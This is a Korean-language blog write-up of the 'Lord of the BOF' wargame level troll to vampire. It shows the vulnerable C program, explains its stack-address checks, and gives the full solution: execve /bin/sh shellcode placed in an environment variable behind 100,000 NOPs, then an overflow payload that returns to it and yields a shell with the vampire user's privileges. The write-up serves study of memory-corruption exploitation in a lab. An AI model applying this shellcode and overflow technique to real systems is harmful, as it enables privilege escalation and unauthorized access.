LOB troll => vampire

c0wb3ll ㅣ 2020. 3. 24. 01:50

LOB troll => vampire

문제

[troll@localhost troll]$ cat vampire.c 
/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
    char buffer[40];

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);
}
[troll@localhost troll]$ 

이번엔 환경변수에 대한 제약과 argv[1]의 길이 제약 그리고 argv[2]의 제약도 모두 풀렸다.

대신 추가된 조건은 argv[1]의 47번째 byte가 \xff이면 안된다는 것이다.

즉 조건은

  1. argv[1]의 48번째 바이트는 \xbf 일 것
  2. argv[1]의 47번째 바이트는 \xff 이면 안 될 것

즉 스택영역을 사용하되 0xbfff????는 사용하지 말라는 것 같다.

풀이

풀이는 간단하다 환경변수 또한 스택에 쌓이니 환경변수에 쉘코드를 올린다.

[troll@localhost tmp]$ export env=$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'")
[troll@localhost tmp]$ vi dampire.c
[troll@localhost tmp]$ gcc -o campire dampire.c 
[troll@localhost tmp]$ ./campire
env address is 0xbffffc37

얼라리 근데 이상하다. bfff????를 사용하면 안되지 않나.... 그래서 되게 무식하게 생각해보았다.

환경변수는 스택에 쌓이니까 그냥 환경변수의 길이를 늘이면 점차 사용하는 크기도 커질 것이라고 생각하여 nop을 엄청나게 끼웠다.

[troll@localhost tmp]$ export env4=$(python -c "print '\x90'*10000 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'")
[troll@localhost tmp]$ ./qampire 
env4 address is 0xbfffd527

nop 10000개로는 어림도 없었나보다. 그럼 0을 하나 더 추가하자^^

[troll@localhost tmp]$ export env4=$(python -c "print '\x90'*100000 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'")
[troll@localhost tmp]$ ./qampire 
env4 address is 0xbffe7597

드디어 0xbfff 가 아닌 0xbffe 영역으로 들어왔다. 이 주소를 리턴값으로 주도록 하자.

[troll@localhost tmp]$ ./vampire `python -c "print 'A'*44 + '\x97\x75\xfe\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?u
bash$ id
uid=508(troll) gid=508(troll) groups=508(troll)
bash$ 

tmp 폴더로 옮긴 vampire 파일에서 쉘을 성공적으로 땃다. 이제 본 파일에서 실행해보자.

[troll@localhost troll]$ ./vampire `python -c "print 'A'*44 + '\x97\x75\xfe\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?u
bash$ id
uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll)
bash$ 

성공적으로 vampire의 권한을 획득했다.